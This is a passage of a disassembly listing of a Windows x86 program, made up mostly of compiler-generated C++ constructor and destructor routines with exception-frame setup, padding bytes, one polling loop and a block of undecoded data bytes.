[esp+14h+var_4], 22h call sub_401AE6 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AE6 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AE6 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AE6 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AE6 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AE6 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AE6 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AE6 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AE6 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AE6 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AE6 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AE6 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AE6 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AE6 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AE6 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AE6 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AE6 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AE6 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AE6 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AE6 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AE6 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AE6 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AE6 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AE6 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AE6 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AE6 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AE6 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AE6 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AE6 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AE6 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AE6 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AE6 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AE6 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417120 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417640 proc near ; CODE XREF: sub_4014FBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417640 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176E0 proc near ; CODE XREF: sub_401EA1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4177B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4177B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4177B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417870 proc near ; CODE XREF: sub_402239j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417870 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417870 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417930 proc near ; CODE XREF: sub_401ECEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417930 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179F0 proc near ; CODE XREF: sub_4018D9j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_4017DAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AD0 proc near ; CODE XREF: sub_401B3Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417AD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417AD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B40 proc near ; CODE XREF: sub_401F46j add ecx, 4 jmp sub_401023 sub_417B40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BE0 proc near ; CODE XREF: sub_401E06j add ecx, 4 jmp sub_401023 sub_417BE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C00 proc near ; CODE XREF: sub_402013j add ecx, 4 jmp sub_401023 sub_417C00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C20 proc near ; CODE XREF: sub_401F00j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417C20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417CC0 proc near ; CODE XREF: sub_401587j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417CC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_40142E lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417CC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D60 proc near ; CODE XREF: sub_40164Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E30 proc near ; CODE XREF: sub_401780j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401753 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417EF0 proc near ; CODE XREF: sub_40182Fj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F050 mov eax, esi pop esi retn sub_417EF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F20 proc near ; CODE XREF: sub_4016BDj push esi mov esi, ecx call sub_401E88 mov dword ptr [esi], offset off_43F05C mov eax, esi pop esi retn sub_417F20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F50 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418010 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418010 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418010 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4180D0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4180D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4180D0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418150 proc near ; CODE XREF: sub_401D25j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset off_43F090 mov eax, esi pop esi retn sub_418150 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418180 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418180 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418200 proc near ; CODE XREF: sub_401A91j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418200 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418200 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418280 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F09C mov eax, esi pop esi retn sub_418280 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4182B0 proc near ; CODE XREF: sub_401CB7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4182B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4182B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_40157Dj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A4 mov eax, esi pop esi retn sub_418330 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418360 proc near ; CODE XREF: sub_401799j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401753 mov dword ptr [esi], offset off_43F0A8 mov eax, esi pop esi retn sub_418360 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418390 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418390 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401753 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401753 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401753 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401753 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418390 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418430 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_5118D8 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418448: ; CODE XREF: sub_418430+E4j test bl, bl jnz loc_41851E mov al, [esi+8EF74h] test al, al jnz short loc_41845E mov bl, 1 jmp short loc_418472 ; --------------------------------------------------------------------------- loc_41845E: ; CODE XREF: sub_418430+28j lea ecx, [esi+15Fh] call sub_40186B test al, al setz bl test bl, bl jz short loc_418479 loc_418472: ; CODE XREF: sub_418430+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418479: ; CODE XREF: sub_418430+40j lea ecx, [esp+1Ch+var_C] call sub_4020A4 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F69 mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jz short loc_4184FE loc_4184B4: ; CODE XREF: sub_418430+CCj lea ecx, [esp+1Ch+var_C] call sub_402234 mov ecx, [eax] call sub_40174E lea ecx, [esp+1Ch+var_C] call sub_402234 mov eax, [eax] test eax, eax jz short loc_4184DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4184DB: ; CODE XREF: sub_418430+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_401703 test al, al jnz short loc_4184B4 loc_4184FE: ; CODE XREF: sub_418430+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418448 test bl, bl jz short loc_41852B loc_41851E: ; CODE XREF: sub_418430+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41852B: ; CODE XREF: sub_418430+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418430 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418590 proc near ; CODE XREF: sub_401771j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418590 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E8EAB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4185D0 push eax jmp short loc_4185D5 ; --------------------------------------------------------------------------- loc_4185D0: ; CODE XREF: sub_418590+3Bj push offset byte_448F40 loc_4185D5: ; CODE XREF: sub_418590+3Ej lea ecx, [esi+9FD57h] call sub_4015E1 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4185EE push edi jmp short loc_4185F3 ; --------------------------------------------------------------------------- loc_4185EE: ; CODE XREF: sub_418590+59j push offset byte_448F40 loc_4185F3: ; CODE XREF: sub_418590+5Cj lea ecx, [esi+9FD6Ch] call sub_4015E1 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418590 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE936BE8h dd 244C8DFFh, 2685128h, 90000002h, 69E020E8h, 8E92E871h dd 8E8DFFFEh, 1BBEh, 0FE91BBE8h, 468E8DFFh, 0E800001Bh dd 0FFFE93BDh, 15FBE8Dh, 0CF8B0000h, 0FE96F3E8h, 0D81D8BFFh dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8BB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8D52h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0C6E8CF8Bh, 8BFFFE94h, 8AE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 69E8CF8Bh, 8AFFFE90h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0F3E855CFh dd 84FFFE98h, 530B75C0h, 0E8CF8B55h, 0FFFE8DB5h, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9255h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE98E5E8h, 74C084FFh dd 90006A08h, 82175DE8h, 97E4E877h, 8E8DFFFEh, 168h, 0FE90BDE8h dd 448D50FFh, 0E8501424h, 0FFFE9904h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 98D6E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8ABCE8FFh, 9E8DFFFEh, 8EF5Dh, 67E8CB8Bh, 8DFFFE8Ch dd 8F2478Eh, 8C5CE800h, 8E8DFFFEh, 1D29h, 0FE9606E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE935Dh, 0F2858E8Dh, 70E80008h, 8DFFFE8Eh dd 9FA138Eh, 8F50E800h, 8E8DFFFEh, 8F3A2h, 0FE9A49E8h dd 738E8DFFh, 0E80009FAh, 0FFFE96A1h, 4EE8CB8Bh, 8DFFFE92h dd 9FC428Eh, 97A7E800h, 0CF8BFFFEh, 0FE886EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9439h, 0FB058E8Dh, 0B1E80009h, 8DFFFE93h dd 9FAD38Eh, 9720E800h, 8E8DFFFEh, 9FB93h, 0FE916BE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE984Fh, 0FBFF8E8Dh, 0DAE80009h dd 8BFFFE93h, 8A41E8CEh, 8E8DFFFEh, 8F270h, 1BE8F88Bh dd 8BFFFE8Fh, 8F14E8CBh, 0EDE8FFFEh, 0E8FFFE92h, 7169BBE4h dd 42468A90h, 0B74C084h, 1528E8Dh, 97E80000h, 8BFFFE94h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418940: ; CODE XREF: ___:00402225j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418960: ; CODE XREF: ___:00401EE2j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_449128 call sub_401771 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 